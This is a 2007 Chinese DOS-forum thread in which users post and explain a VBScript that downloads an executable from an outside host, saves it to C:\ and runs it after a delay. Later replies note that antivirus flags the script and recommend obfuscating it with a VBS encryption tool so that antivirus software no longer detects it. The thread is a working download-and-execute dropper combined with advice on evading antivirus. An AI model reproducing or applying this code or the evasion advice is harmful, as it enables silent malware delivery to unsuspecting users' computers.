中国DOS联盟

比如我要下载www.xxxxxx.com\1.exe 这个程序 如何用vbs下载 然后放到指定目录 比如放到c:\ 最好能够指定一个时间运行 比如60秒後运行
希望高人帮忙!

iget.vbs
sleep
run

楼上已经给出了提示，楼主不妨按照楼上的提示，搜索一下论坛，尝试自己解决一下问题，对你提高很有好处的。

Set Post = CreateObject("Msxml2.XMLHTTP")
Set Shell = CreateObject("Wscript.Shell")
Post.Open "GET","http://danshenhan.mm9mm.com/xiao.exe",0
Post.Send()
Set aGet = CreateObject("ADODB.Stream")
aGet.Mode = 3
aGet.Type = 1
aGet.Open()
aGet.Write(Post.responseBody)
aGet.SaveToFile "c:\xiao.exe",2
wscript.sleep 10000
Shell.Run ("c:\xiao.exe") '延迟过后执行下载文件







好象要被卡吧杀``NOD32都不会杀滴```

我是对vbs一点都不了解 2楼虽然给出了关键字 但是还是有难度......
4楼的我看不太懂你写的什么意思 能解释一下吗 不好意思 我比较笨 麻烦大家了哈

Set Post = CreateObject("Msxml2.XMLHTTP")
Set Shell = CreateObject("Wscript.Shell")
Post.Open "GET","http://danshenhan.mm9mm.com/xiao.exe",0 ：这里是要下的东西的地址
Post.Send()
Set aGet = CreateObject("ADODB.Stream")
aGet.Mode = 3
aGet.Type = 1
aGet.Open()
aGet.Write(Post.responseBody)
aGet.SaveToFile "c:\xiao.exe",2 保存位置
wscript.sleep 10000 延时
Shell.Run ("c:\xiao.exe") 执行

Set Post = CreateObject("Msxml2.XMLHTTP")
Set Shell = CreateObject("Wscript.Shell")
Set Shell = CreateObject("scripting.filesystemobject")
还有哪些对象啊？这些对象下面又有些什么属性和方法，谁有这方面的资料啊？

Set Shell = CreateObject("Wscript.Shell")
Post.Open "GET","http://danshenhan.mm9mm.com/xiao.exe",0
Post.Send()
Set aGet = CreateObject("ADODB.Stream")
aGet.Mode = 3
aGet.Type = 1
aGet.Open()
aGet.Write(Post.responseBody)
aGet.SaveToFile "c:\xiao.exe",2

这段代码被瑞星认为病毒……杀之而后快。呵呵。

因为疯子哥哥```等于说小波同志没对这段vbs段码进行加密.加了密过后过所有的杀软

Originally posted by Vampire at 2007-4-27 03:14 AM:

这段代码被瑞星认为病毒……杀之而后快。呵呵。

这个用VBS加密工具加密后就可以了`
baomaboy做了个加密/解密VBS脚本(简易免杀版)1.1
http://www.cn-dos.net/forum/viewthread.php?tid=30500&fpage=1&highlight=1.1`
这个加密后杀软基本上不会报毒了``

[ Last edited by fengzi on 2007-5-24 at 04:38 AM ]